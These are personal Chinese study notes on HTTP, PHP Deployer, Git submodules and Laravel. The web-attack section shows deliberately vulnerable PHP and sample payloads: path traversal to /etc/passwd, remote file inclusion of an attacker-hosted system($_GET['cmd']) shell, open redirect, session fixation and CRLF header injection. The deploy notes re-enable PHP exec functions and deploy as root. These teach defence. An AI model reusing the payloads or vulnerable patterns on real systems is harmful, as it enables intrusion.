图解 HTTP 阅读笔记

知识栈

Alt text

网络基础 TCP/IP

  • 应用层(HTTP / DNS / FTP / SMTP)
  • 传输层(TCP / UDP)
  • 网络层(IP协议:IP地址 + Mac地址)
  • 链路层(网络硬件范畴)

网络层

IP 协议

IP 协议的作用是把各种数据包传送给对方。不仅包含 IP 地址,还包括增加目的地的网卡 Mac 地址转发给链路层

ARP 协议

地址解析协议(Address Resolution Protocol):根据 IP 地址反查出对应的 Mac 地址

传输层

TCP 可靠性传输原理(SYN + ACK 标志的作用)

应用层

DNS 协议原理

URI / URL

URI 是字符串标识某一互联网资源,而 URL 表示资源的地点(互联网所处的位置),可见 URL 是 URI 的子集。

RFC 3986 规定 URI(统一资源标识符)例子:

ftp://ftp.silverd.cn/rfc/abc.txt
http://www.silverd.cn/abc.txt
mailto:silverd@qq.com
news:comp.info.www.silverd.cn
tel:+816575755

其他要点

  • TRACE 方法的 Max-Forwards 没经过一层代码,都会自减1,直到为0,则立即返回,不再转发到下一层代理
  • CONNECT 要求用隧道协议连接代理?

Keep-Alive

HTTP 1.1 默认开启。

HTTP 持久连接(HTTP Persistent Connections / HTTP Keep-Alive / HTTP connection reuse) 旨在建立 1 次 TCP 连接后可进行多次请求和响应的交互(避免重复握手)。只要任意一端没有明确提出断开连接,则保持 TCP 连接状态。

管线化 pipelining 并发请求?

Alt text

HTTP 报文

Alt text

报文主体和实体主体的差异:

  • 报文是 HTTP 通信中的基本单位,由8位组字节流组成
  • 实体作为请求或响应的有效载荷数据被传输,内容由实体首部和实体主体组成
  • 通常,报文主体等于实体主体,只有当传输中进行编码操作时,实体主体的内容发生变化,才导致它和报文主体产生差异

压缩传输的内容编码:

  • gzip (GUN zip)
  • compress (UNIX 系统的标准压缩)
  • deflate (zlib)
  • identity (不进行编码)

分割发送的分块传输编码 Chunked Transfer Coding?

multipart/form-data multipart/byteranges

获取部分内容的范围请求Range: bytes=5001-10000, 12000-15000

HTTP 状态码

状态码 参数名 说明
1XX Informational 接收的请求正在处理
2XX Success 成功状态码
3XX Redirection 重定向状态码
4XX Client Error 客户端错误状态码
5XX Server Error 服务器错误状态码

Alt text

204 No Content

一般操作成功无需返回时,例如 DELETE 方法后,可以响应 204 No Content

206 Partial Content

响应报文包含由 Content-Range 指定范围的实体内容

303 See Other / 307 Temporary Redirect

303 和 302 功能相同,但 303 明确标识客户端应当采用 GET 方法重定向前往获取资源。 理论上 301、302 是禁止将 POST 方法改变为 GET 方法的,但实际大家都会这么做。

400 Bad Request

表示请求报文中有语法错误,服务端无法理解。

401 Unauthorized

用于 Basic Auth / Digest Auth,401 响应必须包含 WWW-Authenticate 首部,要求用户输入密码等信息。浏览器初次接收到 401,会弹出认证用的对话窗口。

500 Internal Server Error

服务器内部错误,例如是 PHP 语法错误

503 Service Unavailable

服务器超负载或停机运行(注意和 Nginx 502 Bad Gateway504 Gateway Timeout 的区别) 响应中建议包含 Retry-After 首部,告知客户端稍后重试。

Web Server

Virtual Host

请求头中的 Host: www.silverd.cn 字段,即 Apache 的 ServerName 读到的值,用于区分不同虚拟主机。

代理:

代理是一种具有转发功能的程序,扮演了位于服务器和客户端『中间人』的角色。

代理服务器分两种(1、是否使用缓存 2、是否修改报文):

  • 缓存代理(Varnish/Squid)
  • 透明代理(例如翻墙代理)纯转发,不对报文进行任何加工,反之,称为非透明代理

网关

网关是转发其他服务器通信数据的服务器,接受从客户端发送过来的请求时,它就像自己拥有资源的源服务器一样对请求进行处理,有时客户端甚至不会意识到自己的通信目标是一个网关。

网关和代理的区别,工作机制两者相似,但网关能使通信线路上的服务器提供非 HTTP 协议服务(例如跳板机)。

隧道

隧道相当于在 HTTP 外面包了一层,并不会修改任何 HTTP 报文主体。例如 SSL 隧道。

HTTP 首部

分四种首部:

  • 通用首部(请求和响应都有的首部)
  • 请求首部
  • 响应首部
  • 实体首部

首部字段重复了怎么办?没有明确规定,各浏览器都不同,有的以前者为准,有的以后者为准。

一个首部字段可以有多个值,用逗号分隔:

Keep-Alive: timeout=15, max=100

首部字段介绍

通用首部:

  • Cache-Control:用于操作缓存的工作机制,如缓存时间,是否必须向服务器确认等
  • Connection:控制不再转发给代理的首部字段和持久连接,HTTP/1.1 默认 Connection:keep-alive
  • Date:表明创建 HTTP 报文的日期时间
  • Transfer-Encoding:规定传输报文主体时采用的编码方式

请求首部:

  • Accept
  • Authorization
  • Host (HTTP/1.1 规范中唯一一个必须包含在请求内的首部字段,可为空字符串,但不能没有)
  • User-Agent
  • Cookie

响应首部

  • Location
  • Server
  • Set-Cookie

Alt text

HTTPS / TLS

全称:Transport Layer Security 安全传输层协议

SSL 是独立于 HTTP 的协议(可以理解为 SSL 协议运行在表示层)。其他运行在应用层的协议(SMTP/Telnet)都可配合 SSL 协议使用

公钥、私钥生成原理,为什么不容易破解?

HTTPS 握手、通信原理,可参考之前的博文:

客户端证书:类似网银的 U 盾数字证书,需用户自行安装在客户端。

密钥生成:CBC 模式(密码分组链接模式),将前一个明文块加密处理后和下一个明文块做 XOR 运算,使之重叠,然后在对运算结果做加密处理。对第一个明文块做加密时,要么使用前一段密文的最后一块,要么利用外部生成的初始向量(IV)。

HTTPS 比 HTTP 要慢 2~100 倍。

HTTP 认证

认证方式分几种:

  • Basic Auth(直接在请求头发送明文用户名和密码)
  • Digest Auth(安全级别高于 Basic Auth,具体待理解)
  • SSL Client Auth(浏览器必须先安装客户端证书,以实现免密码登录某网站,例如 WoSign 的登录)
  • FormBase Auth(目前最常用的。另:表单提交密码时可先用盐值加密,防止被劫持窃听)

在写 Cookie 时设置 HttpOnly 标记,可防止 JS 通过 document.cookie 来获取 Cookie,从而防止 XSS 攻击。

HTTP 追加协议

  • SPDY (SPeeDY)
  • Webscoket
  • HTTP/2

Google SPDY

SPDY 以会话层形式加入在 HTTP 和 TCP 之间,同时规定通信必须使用 SSL。

  • 多路复用(将同一个域名或 IP 地址的请求复用)
  • 赋予请求优先级(SPDY 不仅可以无限制并发处理请求,还可以给请求分配优先级顺序 )
  • 压缩 HTTP 首部
  • 服务器主动向客户端推送数据
  • 服务器主动提示客户端请求所需的资源(待理解:和上一条的区别?)

WebSocket

全双工通信,建立在 HTTP 基础上,复用了 HTTP 协议的一部分定义。

请求:

GET /chat HTTP/1.1
Host: www.silverd.cn
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dbgaksdjfa
Sec-WebSocket-Protocol: chat, superchat (使用的子协议)
Sec-WebSocket-Version: 13

响应:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s34523423dk (由请求头中的 Sec-WebSocket-Key 生成)
Sec-WebSocket-Protocol: chat

HTTP/2.0

七项技术:

  • 多路复用
  • TLS 义务化
  • 协商
  • 客户端拉拽、服务端推送
  • 流量控制
  • WebSocket

WebDAV

WebDAV 是一组基于 HTTP/1.1 的技术集合,使应用程序可以直接对 Web 服务器上文件进行操作。有利于用户间协同编辑和管理存储在万维网服务器文档。

通俗一点儿来说,WebDAV 就是一种互联网方法,应用此方法可以在服务器上划出一块存储空间,可以使用用户名和密码来控制访问,让用户可以直接存储、下载、编辑文件,支持写文件锁定及解锁,还可以支持文件的版本控制。

参考:https://www.zhihu.com/question/21511143

构建 Web 内容

  • CGI / FastCGI / Java Servlet
  • RSS / Atom
  • JSON / Protobuff

Web 攻击技术

主动攻击:

  • SQL 注入
  • OS Shell 命令注入(应该避免将外部接收到的值直接被传入到系统命令中执行,例如 opensystem 等)
  • 密码撞库攻击(彩虹表:一个公开的、巨大的由明文密码和对应散列值组成的字典表)
  • DDos (分布式拒绝服务攻击 Distributed Denial of Service Attack)

被动攻击:

  • XSS
  • CSRF
  • HTTP 首部注入(应该避免将外部接收到的值,赋给响应首部的字段,例如 Location / Set-Cookie 字段。攻击者会利用漏洞在响应首部字段内插入换行,从而达到添加任意响应首部或主体的目的)
    • Location / Set-Cookie
    • HTTP 响应截断攻击,将%0D%0A%0D%0A并排插入响应主体,这两个连续的换行会将 HTTP 头部和主体分隔。这样就能伪造主体部分。
  • 邮件首部注入(利用 To / Subject 添加非法内容)

目录遍历攻击

例如有页面:

http://silverd.cn/read.php?file=0401.log

文件 read.php 内容:

echo file_get_contents(RESOURCE_PATH . '/' . $_GET['file']);

攻击者改为:

http://silverd.cn/read.php?file=../../etc/passwd

就可以读到不该读的东西了。

远程文件包含漏洞

例如有页面:

http://silverd.cn/index.php?controller=news

文件 index.php 内容:

$controller = $_GET['controller'];
include_once APP_PATH . '/controllers/' . $controller;

攻击者改为:

http://silverd.cn/index.php?controller=http://hackr.jp/cmd.php?cmd=ls

事先 cmd.php 已准备好攻击脚本:

system($_GET['cmd']);

http://silverd.cn/index.php 运行时,就中招了。

开放重定向漏洞

例如有页面:

http://silverd.cn/login.php?redirect=/home

攻击者改为:

http://silverd.cn/login.php?redirect=http://hackr.jp

用户点击后自动被跳转到攻击者网站,可信度高的 Web 网站开放重定向功能判断跳转目标,否则容易被攻击者利用当成钓鱼攻击的跳板。

Session 会话固定攻击

假设网站支持以 URL 参数接收并设置 session_id

http://silverd.cn/index.php?sess_id=ABCDEFG

文件 index.php 内容:

if ($sessionId = $_GET['sess_id']) {
    session_id($sessionId);
}

攻击者把自己的 session_id 放到 URL 中,然后把 URL 发给被害者,被害者被诱导点进进去,然后登录认证。此时攻击者在打开这个 URL,身份就变成了被害者的身份,从而达到窃取认证的目的。

Session Adoption:

攻击者如果可以私自创建、伪造 session_id(如果服务器接受任何未知会话 ID 的话),那么攻击者可以跳过固话攻击的第一步,甚至不需要用自己真实的 session_id 了。

点击劫持

用一个透明的域(iframe)覆盖在网页某个位置上,当用户点击该位置时,触发攻击脚本。

参考文章

PHP Deployer 小试

Deployer 是一个具有模块化、代码回滚、并行任务等功能的 PHP 部署工具,支持多个 PHP 框架。 原理是在本地通过 SSH Client 执行远程 shell 命令。比传统自写 shell 脚本,更加直观易用。

安装

curl -LO https://deployer.org/deployer.phar
mv deployer.phar /usr/local/bin/dep
chmod +x /usr/local/bin/dep

或者

composer require deployer/deployer --dev

或者

composer global require deployer/deployer

初始化

在项目目录运行:

dep init

可以选择支持的 PHP 框架。每种框架菜谱的区别在于会设置不同的可写目录,以及执行不同的命令,例如 Laravel 会执行 php artisan migratecomposer install 等等。

然后会在项目目录生成一个 deploy.php 文件。

编写部署脚本

详细配置说明参见:https://deployer.org/docs/getting-started

附上我正在使用的一个 deploy.php 脚本:

<?php

/*
* --------------------------------------------------------------------------
* 自动部署脚本
* --------------------------------------------------------------------------
*
* 部署测试服:
* dep deploy
* dep deploy staging
*
* 部署生产服:
* dep deploy prod
*
* 回滚最近一次发布:
* dep rollback staging|prod
*
* 更多文档:@see https://deployer.org/docs
*/

namespace Deployer;
require 'recipe/laravel.php';

// Configuration

set('ssh_type', 'native');
set('ssh_multiplexing', true);

set('repository', 'git@git.oschina.net:silverd/adminlte.git');
set('deploy_path', '/home/wwwroot/adminlte');
set('default_stage', 'staging');

set('writable_mode', 'chmod');
add('writable_dirs', [
    'bootstrap/cache',
    'storage',
    'public/upload',
]);
add('shared_files', []);
add('shared_dirs', [
    'vendor',
    'storage',
    'public/upload',
]);

// Servers

server('staging', '121.43.110.121')
    ->user('root')
    ->identityFile()
    ->pty(true)
    ->set('branch', 'develop')
    ->stage('staging');

$serverNo = 1;
foreach (['生产服IP_1', '生产服IP_2'] as $serverIp) {
    server('prod_' . ($serverNo++), $serverIp)
        ->user('root')
        ->identityFile()
        ->pty(true)
        ->set('branch', 'master')
        ->stage('prod');
}

// Tasks

task('confirm', function () {
    askConfirmation('Are you sure want to deploy?');
});
before('deploy:prepare', 'confirm');

desc('Restart PHP-FPM service');
task('php-fpm:restart', function () {
    run('/etc/init.d/php-fpm reload');
});
after('deploy:symlink', 'php-fpm:restart');

// [Optional] if deploy fails automatically unlock.
after('deploy:failed', 'deploy:unlock');

// Migrate database before symlink new release.
before('deploy:symlink', 'artisan:migrate');

task('notify', function () {
    run('curl https://hooks.pubu.im/services/xxxx -F text="通知: 部署了测试环境服务端 PHP 代码"');
});
after('success', 'notify');

部署前准备

所有的待部署的目标机器,都必须满足以下条件:

  1. 都需安装 Git Client + PHP Composer http://docs.phpcomposer.com 并切中国镜像
  2. 都需生成『部署公钥』并上传到对应的 Git 项目里(用于免密 git pull 代码)
  3. 都需先手动 ssh git@oschina.net 一次(用于添加 ssh 指纹 ~/.ssh/known_hosts)
  4. 解禁一些 PHP 函数(修改 php.inidisable_functions
    • passthru
    • exec
    • system
    • shell_exec
    • proc_open
    • proc_get_status

开始部署

# 部署测试服
dep deploy
dep deploy staging

# 部署生产服:
dep deploy prod

# 回滚最近一次发布:
dep rollback staging|prod

# 查看详细步骤
dep deploy staging -vvv

部署成功时,Deployer 会自动在服务器上生成以下文件和目录:

  • releases 包含你部署项目的版本(默认保留 5 个版本)
  • shared 包含你部署项目的共享文件或目录(如:Laravel 的 Storage 目录、.env 文件等 )
  • current 软连接到你当前发布的版本

Nginx VirtualHost DocumentRoot 指向 current/public 目录即可。

我认为的缺点

  1. 每次部署都会重新 git clone 代码,如果仓库体积大,拉取速度有些慢。
  2. 如果生产服有10台服务器,那相当于这10台上都要维护一套 Git 仓库(每次部署相当于自动登录到10台机器上自动 git clone),还需要把10台机器的『部署公钥』都上传到 git 项目里以实现免密码拉取代码(详见上文:部署前准备)。
  3. 同时要求,本机(即发布机:执行部署命令的那台机器)的公钥必须上传到这10台机器上,如果有多个部署人如何处理?

对于以上第2点、第3点,我认为的解决办法:

还是需要一台专用发布机,本机 deploy.php 连这台发布机,在发布机上按正常步骤 deploy,然后由这台发布机 rsync 代码到10台真正对外的 WebServer 服务器上。这样 ssh 公钥和 git 部署公钥只需要一份即可。

参考文章

Git SubModule

添加子模块

进入某个项目,执行:

git submodule add https://git.coding.net/Grampus/hmb_yaf_framework.git system

完成后通过 git status 会发现多了两个东东:

new file:   .gitmodules
new file:   system

其中 .gitmodules 文件的内容如下:

[submodule "hmb_yaf_framework"]
    path = system
    url = https://git.coding.net/Grampus/hmb_yaf_framework.git

保存并推送:

git add system
git commit -a -m '增加子模块'
git push -u origin master

拉取子模块到最新

cd system && git pull origin master

回到上级目录敲 git status,会显示:

modified:   system (new commits)

为什么子模块 system 目录会有一个新变更?

其实,Git 在顶级项目中记录了一个子模块的提交日志的指针,用于保存子模块的提交日志所处的位置,以保证无论子模块是否有新的提交,在任何一个地方克隆下顶级项目时,各个子模块的记录是一致的。作用类似于 composer.lock 或者 yarn.lock,避免因为所引用的子模块不一致导致的潜在问题。如果我们更新了子模块,我们需要把这个最近的记录提交到版本库中,以方便和其他人协同。

提交这个子模块版本锁:

git add system
git commit -a -m "更新子模块"
git push origin master

批量拉取所有子模块到最新(强烈推荐)

git submodule foreach git pull origin master

协作者如何更新子模块?(非常重要的场景)

场景:本地更新了子模块代码,同时提交了子模块 commit_id,那么其他开发者如何获得这些更新?

git submodule update

这条命令的作用是,拉取所有数据并 checkout 到指定 commit_id

切记不能用 cd system && git pull origin master,这只会拉取到子模块到最新,无视了子模块版本锁。

如何克隆含子模块的仓库?

方式1:

git clone https://git.coding.net/grampus/hmb_2c_server.git
cd hmb_2c_server
git submodule update --init --recursive
cd system && git checkout master && cd ..

方式2:

git clone --recursive https://git.coding.net/grampus/hmb_2c_server.git
cd hmb_2c_server/system && git checkout master && cd ..

参数 --recursive--recurse-submodules 的意思是:

可以在 clone 项目时同时 clone 关联的 submodules。

After the clone is created, initialize all submodules within, using their default settings. This is equivalent to running git submodule update –init –recursive immediately after the clone is finished. This option is ignored if the cloned repository does not have a worktree/checkout (i.e. if any of –no-checkout/-n, –bare, or –mirror is given)

注意:子模块缺省 Not currently on any branch 不在任何分支上,需要手动 gco master

删除子模块

git rm -r <SubModuleName>

例如:

git rm -r system
git commit -m "删除子模块"
git push origin master

参考文章

Laravel 文档阅读笔记

配置

$_ENV 或 env() 可读取 .env 文件中的变量

读取 config/app.php 中的数据

$value = config('app.timezone');

如何合并、缓存所有配置文件?

# 生成文件 bootstrap/cache/config.php
php artisan config:cache

# 生成文件 bootstrap/cache/route.php
php artisan route:cache

除了 config 文件夹下的配置文件,永远不要在其它地方使用 env 函数,因为部署到线上时,配置文件缓存(php artisan config:cache)后,env 函数无法获得正确的值。

几点注意:

  1. config 文件里严禁使用 Closure 闭包,因为 config:cache 时无法被正确序列化。
  2. routes 文件中尽量不使用闭包函数,统一使用控制器,因为缓存路由的时候 php artisan route:cache,无法缓存闭包函数。

Service Container & Provider

注册:

$app->bind('HelpSpot\API', function ($app) {
    return new HelpSpot\API($app->make('HttpClient'));
});

注册(绑定接口和实现):

$app->singleton(
    Illuminate\Contracts\Http\Kernel::class,
    App\Http\Kernel::class
);

获取:

方式1:app('HelpSpot\API');
方式2:app()->make('HelpSpot\API');
方式3:app()['HelpSpot\API'];
方式4:resolve('HelpSpot\API');

有哪些类是被服务容器解析的?

  • controllers
  • event listeners
  • queue jobs
  • middleware,
  • route Closures.

在给消费者使用前,可以做最后一步监听修改(Container Events)

$this->app->resolving(HelpSpot\API::class, function ($api, $app) {
    // Called when container resolves objects of type "HelpSpot\API"...
});

延迟提供者(Deferred Providers)

如果一个提供者中的所有代码,只是为了往容器里注入服务,那么可以把该提供者设置为懒绑定,以提供性能,例如:

class SomethingServiceProvider extends ServiceProvider
{
    // 标记本提供者为延迟绑定
    protected $defer = true;

    // 关键之处:定义本提供者即将绑定哪些服务
    // 我的理解,这里用成员变量来定义更加合适
    public function provides()
    {
        return [Hello::class, World::class];
    }

    public function register()
    {
        $this->app->singleton(Hello::class, function ($app) {
            return new Hello($app['config']['hello']);
        });

        $this->app->singleton(World::class, function ($app) {
            return new World($app['config']['world']);
        });
    }
}

Facades

简单地说,就是一堆类(容器中实例)的快捷别名。

在 config/app.php 的 alias 里配置,这样以后在 Controller 里就可以直接 use 而不用记住一长串的类名。

use Redis;

等价于

use Illuminate\Support\Facades\Redis;

Contract

只是 Laravel 的一个概念,表示一个结构约定。 其实就是 PHP 的 interface,只不过 Contract 不局限于接口,还可以是 Abstract 父类。

路由

模型绑定(Route Model Binding)

直接给 action 传入 Eloquent models(自动根据主键查找)

Route::get('api/users/{user}', function (App\User $user) {
    return $user->email;
});

如果主键不是 id,则可以通过修改 model 的 getRouteKey() 或 getRouteKeyName() 来解决。

模拟 RESTful 方法

<form action="/foo/bar" method="POST">
   <input type="hidden" name="_method" value="PUT">
   <input type="hidden" name="_token" value="">
</form>

等价于:

<form action="/foo/bar" method="POST">
    
    
</form>

中间件

新建中间件:

php artisan make:middleware CheckAge

前置、后置:

class AfterMiddleware
{
    public function handle($request, Closure $next)
    {
        // 前置:干一些事情
        // ...

        $response = $next($request);

        // 后置:干一些事情
        // ...

        return $response;
    }
}

app\Http\Kernel.php 中注册中间件:

全局中间件

protected $middleware = [
    \Illuminate\Foundation\Http\Middleware\CheckForMaintenanceMode::class,
    \Illuminate\Foundation\Http\Middleware\ValidatePostSize::class,
    \App\Http\Middleware\TrimStrings::class,
    \Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull::class,
];

每个请求都会经过这些中间件,例如『维护模式』的检测。

路由中间件


protected $routeMiddleware = [
    'auth' => \Illuminate\Auth\Middleware\Authenticate::class,
];

主要是定义路由时(例如 routes/web.php)使用:

Route::get('/', function () {
    //
})->middleware('auth', 'other');

中间件组

protected $middlewareGroups = [
    'web' => [
        \App\Http\Middleware\EncryptCookies::class,
    ],
    'api' => [
        'throttle:60,1',
        'auth:api',
    ],
];

在可以在定义路由时使用:

Route::get('/', function () {
    //
})->middleware('web');

Route::group(['middleware' => ['web']], function () {
    //
});

如何在注册时给中间件传递参数?

冒号隔离,多个参数用逗号,例如:

protected $middlewareGroups = [
    'api' => [
        'throttle:60,1',
    ],
];

或者:

Route::put('post/{id}', function ($id) {
    //
})->middleware('role:editor,boss');

控制器中手动调用中间件:

public function __construct()
{
    $this->middleware('auth');
    $this->middleware('log')->only('index');
    $this->middleware('subscribed')->except('store');
}

Terminable Middleware

在发完响应给客户端后,可以干一些事情。

For example, the “session” middleware included with Laravel writes the session data to storage after the response has been sent to the browser.

namespace Illuminate\Session\Middleware;

class StartSession
{
    public function handle($request, Closure $next)
    {
        return $next($request);
    }

    // Terminable 中间件
    public function terminate($request, $response)
    {
        // 保存 session 数据...
    }
}

当在你的中间件调用 terminate 方法时,Laravel 会从 服务容器 解析一个全新的中间件实例。 如果你希望在 handle 及 terminate 方法被调用时使用一致的中间件实例,只需在容器中使用容器的 singleton 方法注册中间件。

CSRF

任意定义在 routes/web.php 中的路由请求 POST, PUT, or DELETE 提交的表单请求都会自动检测 CSRF 令牌。

可单独例外排除:https://laravel.com/docs/5.4/csrf#csrf-excluding-uris

X-CSRF-TOKEN 需要放入请求头中(如果不放到 form 中的话) X-XSRF-TOKEN 会在每次响应头里的 set-cookie 中返回

Controller

控制器不一定强制要继承 BaseController,但父类控制器 BaseController 包括以下特性:middleware, validate, dispatch 等方法。

控制器的命名空间都是相对 App\Http\Controllers 来说的。

单方法的控制器

生成:

php artisan make:controller PhotoController --resource
// 在 routes/web.php 中定义
Route::get('user/{id}', 'ShowProfile');

// 控制器中写法
class ShowProfile extends Controller
{
    public function __invoke($id)
    {
        return view('user.profile', ['user' => User::findOrFail($id)]);
    }
}

Restful Controller

Route::get('photos/popular', 'PhotoController@method');
Route::resource('photos', 'PhotoController');

方法对照:https://laravel.com/docs/5.4/controllers#resource-controllers

Request

检测请求 URI 是否以指定字符开头:

$request->is('admin/*')

只有调用了 response 实例后,cookie 才会真正被输出到客户端:

$cookie = cookie('name', 'value', $minutes);
return response('Hello World')->cookie($cookie);

文件上传

// 读取 $_FILES['photo']
$file = $request->file('photo');

// 保存(自动生成文件名)
$path = $request->photo->store('保存至目录名');
$path = $request->photo->store('保存至目录名', '磁盘名称');

// 保存(指定文件名)
$path = $request->photo->storeAs('保存至目录名', '重命名.jpg');
$path = $request->photo->storeAs('保存至目录名', '重命名.jpg', '磁盘名称');

Response

跳到指定页

return redirect('home/dashboard');

回到上页

return back()->withInput();

跳到命名路由

return redirect()->route('login');

跳到指定控制器

return redirect()->action('HomeController@index');

返回内容的同时返回header

return response()
    ->view('hello', $data, 200)
    ->header('Content-Type', $type);

弹出附件下载

return response()->download($pathToFile);

直接在浏览器显示。例如 pdf,img

return response()->file($pathToFile);

响应宏设置

// 定义
class ResponseMacroServiceProvider extends ServiceProvider
{
    public function boot()
    {
        Response::macro('caps', function ($value) {
            return Response::make(strtoupper($value));
        });
    }
}

// 执行
return response()->caps('foo');

View

赋值

return view('greetings', ['name' => 'Victoria']);

等价于

return view('greeting')->with('name', 'Victoria');

所有视图共享的数据

在 AppServiceProvider 的 boot() 中:

public function boot()
{
    View::share('key', 'value');
}

视图合成器 View Composers/Creators

可以在指定视图渲染前,或者渲染后,改变一些数据。

使用场景:全局公用的右侧排行榜 widget 组件,例如: https://laravel-china.org/topics/3094

Session

// 读
$value = session('key');

// 读(设缺省值)
$value = session('key', 'default');

// 写
session(['key' => 'value']);

使用 $request->session()->get(‘key’) 和 session(‘key’) 没有实质差别

重新生成 Session ID

通常时为了防止恶意用户进行 Session 固定攻击 Session Fixation

如果你使用了 LoginController 方法,那么 Laravel 会自动重新生成 Session ID,否则,你需要手动使用 regenerate 方法重新生成 session ID

$request->session()->regenerate();

检测一个 key 是否存在(如果值为 null,则结果为 false)

if ($request->session()->has('users')) {
    //
}

检测一个 key 是否存在(即使值为 null,只要 key 存在,则结果为 true)

if ($request->session()->exists('users')) {
    //
}

用 Redis 保存 session

1、修改 .env 中的 SESSION_DRIVER=redis

2、增加 config/database.php 中为 redis 增加一个负责存储 session 的数据库:

'redis' => [

    'client' => 'predis',

    // 其他组
    // ...

    'session' => [
        'host' => env('REDIS_HOST', '127.0.0.1'),
        'password' => env('REDIS_PASSWORD', null),
        'port' => env('REDIS_PORT', 6379),
        'database' => 1,
    ],

],

3、修改 config/session.php 设置 'connection' => 'session'

Validation 输入验证、表单验证

https://laravel.com/docs/5.4/validation

Blade View

https://laravel.com/docs/5.4/blade#control-structures

父模板中定义 section

<!-- Stored in resources/views/layouts/app.blade.php -->

<html>
    <head>
        <title>App Name - @yield('title')</title>
    </head>
    <body>
        @section('sidebar')
            This is the master sidebar.
        @show
        <div class="container">
            @yield('content')
        </div>
    </body>
</html>

子模板中继承并填充 section

<!-- Stored in resources/views/child.blade.php -->

@extends('layouts.app')

@section('title', 'Page Title')

@section('sidebar')
    @parent
    <p>This is appended to the master sidebar.</p>
@endsection

@section('content')
    <p>This is my body content.</p>
@endsection

组件和插槽

定义一个 alert 组件:

<div class="alert alert-danger">
    <div class="alert-title"></div>
    
</div>

外部如何使用:

@component('alert')
    @slot('title')
        Forbidden
    @endslot
    You are not allowed to access this resource!
@endcomponent

最终会生成:

<div class="alert alert-danger">
    <div class="alert-title">Forbidden</div>
    You are not allowed to access this resource!
</div>

显示未经 htmlentities 后的 Dangerous HTML

Hello, {!! $name !!}.

我就是想显示两个花括号,怎么办?

Hello, @.

或者用包起一大段:

@verbatim
    <div class="container">
        Hello, .
        
        
    </div>
@endverbatim

循环无记录时的判断:

@forelse ($users as $user)
    <li></li>
@empty
    <p>No users</p>
@endforelse

循环中的一些操作:按条件跳出、按条件继续

@foreach ($users as $user)
    @continue($user->type == 1)
    <li></li>
    @break($user->number == 5)
@endforeach

判断是否首个、最后一个:

@foreach ($users as $user)
    @if ($loop->first)
        This is the first iteration.
    @endif
    @if ($loop->last)
        This is the last iteration.
    @endif
    <p>This is user </p>
@endforeach

循环指定的子模板:

@each('view.name', $jobs, 'job', 'view.empty')

模板里写注释:


在模板里写原生 PHP 代码:

@php
    // ...
@endphp

栈的使用

父组件中定义:

<head>
    <!-- Head Contents -->
    @stack('scripts')
</head>

子组件中使用:

@push('scripts')
    <script src="/example1.js"></script>
    <script src="/example2.js"></script>
@endpush

清理模板缓存(例如增加、修改自定义指令后):

php artisan view:clear

Console/Command

定义命令(新建文件 App/Console/Commands/SendEmail.php):

namespace App\Console\Commands;

use Illuminate\Console\Command;

class SendEmail extends Command
{
    protected $signature = 'email:send
                        {uid : The ID of the user}
                        {--queue= : Whether the job should be queued}';

    protected $description = 'Command description';

    public function handle()
    {
        // 接收参数
        $uid = $this->argument('uid');
        $shouldQueue = $this->option('queue');

        // 要求输入
        $name = $this->ask('What is your name?');
        $password = $this->secret('What is the password?');

        if ($this->confirm('Do you wish to continue?')) {
            $city = $this->anticipate('你在哪个城市?', ['Shanghai', 'Hongkong', 'Beijing']);
            $habbit = $this->choice('你喜欢哪项运动?', ['NBA', 'Football', 'Tennis'], 'NBA');
        }

        // 输出文本
        // line, info, comment, question and error
        $this->info('Display this on the screen');
        $this->error('Something went wrong!');
        $this->line('Display this on the screen');

        // 输出表格
        $headers = ['Name', 'Email'];

        $users = [
            ['Jack', 'jack@hello.com'],
            ['Rose', 'rose@hello.com'],
        ];

        $this->table($headers, $users);

        // 进度条
        $bar = $this->output->createProgressBar(count($users));

        foreach ($users as $user) {
            $this->performTask($user);

            $bar->advance();
        }

        $bar->finish();

        dd($name, $password);
    }
}

注册(在 App/Console/Kernel.php 绑定):

protected $commands = [
    Commands\SendEmails::class
];

除了在 CLI 模式下,在 PHP 代码里如何调用命令?

$exitCode = Artisan::call('email:send', [
    'user' => 1,
    '--queue' => 'default',
    '--force' => true,
]);

// 队列模式(注意如何配置队列?)
Artisan::queue('email:send', [
    'user' => 1, '--queue' => 'default'
]);

如果是在其他 Commands 文件中,则能直接通过 this 调用

$this->call('email:send', [
    'user' => 1, '--queue' => 'default'
]);

// 忽略所有输出
$this->callSilent('email:send', [
    'user' => 1, '--queue' => 'default'
]);

Laravel REPL Tinker?

REPL 即为 Read-Eval-Print Loop,中文译为“读取-求值-输出”循环。 https://github.com/bobthecow/psysh

php artisan tinker

Cache

配置文件在 app/cache.php

访问指定库:

Cache::store('库名')->put('bar', 'baz', 10);

设置默认值:

$value = Cache::get('key', 'default');

// 异步
$value = Cache::get('key', function () {
    return DB::table(...)->get();
});

// 等价于
$value = Cache::get('key');
if ($value === null) {
    $value = DB::table(...)->get();
}

阅后即焚:

$value = Cache::pull('key');
// 单位:分
Cache::put('key', 'value', $minutes);

// 会清空整台服务器缓存
Cache::flush();

取值后塞回(非常有用):

$users = Cache::remember('users', $minutes, function () {
    return $db->fetchAll(....);
});

// 等价于

$users = $cache->get('users');

if (! $users) {
    $users = $db->fetchAll(...);
}

$cache->set('users', $users);

Collection

我的理解是 PHP 版的 immutable 对象,每次变更都会返回一个新的完整实例。

https://laravel.com/docs/5.4/collections

Higher Order Messages 高阶消息传递(Laravel 5.4 新特性)

支持方法:contains, each, every, filter, first, map, partition, reject, sortBy, sortByDesc, and sum.

举例说明:

原来写法:

$invoices->each(function ($invoice) {
    $invoice->pay();
});

变成了:

$invoices->each->pay();

另一个例子:

原来写法:

$employees->reject(function ($employee) {
    return $employee->retired;
})->each(function ($employee){
    $employee->sendPayment();
});

变成了:

$employees->reject->retired->each->sendPayment();

Error & Log

错误日志级别:debug, info, notice, warning, error, critical, alert, emergency

use Illuminate\Support\Facades\Log;

Log::emergency($message, $contextualInfo);
Log::alert($message);
Log::critical($message);
Log::error($message);
Log::warning($message);
Log::notice($message);
Log::info($message);
Log::debug($message);

// 或者全局助手方法

// Log::info()
info('Some helpful information!');

// Log::debug()
logger('Debug message');

// Log::error()
logger()->error('You are not allowed here.');

Event 事件与监听

为了代码解耦,使用场景例如,下订单后发送通知,这样就可以把发送通知的代码放到监听者中。

通过 $listen 数组来注册事件和监听:

修改 app/Provider/EventServiceProvider.php 中的 $listen 属性:

protected $listen = [
    'App\Events\SomeEvent' => [
        'App\Listeners\EventListener',
    ],
];

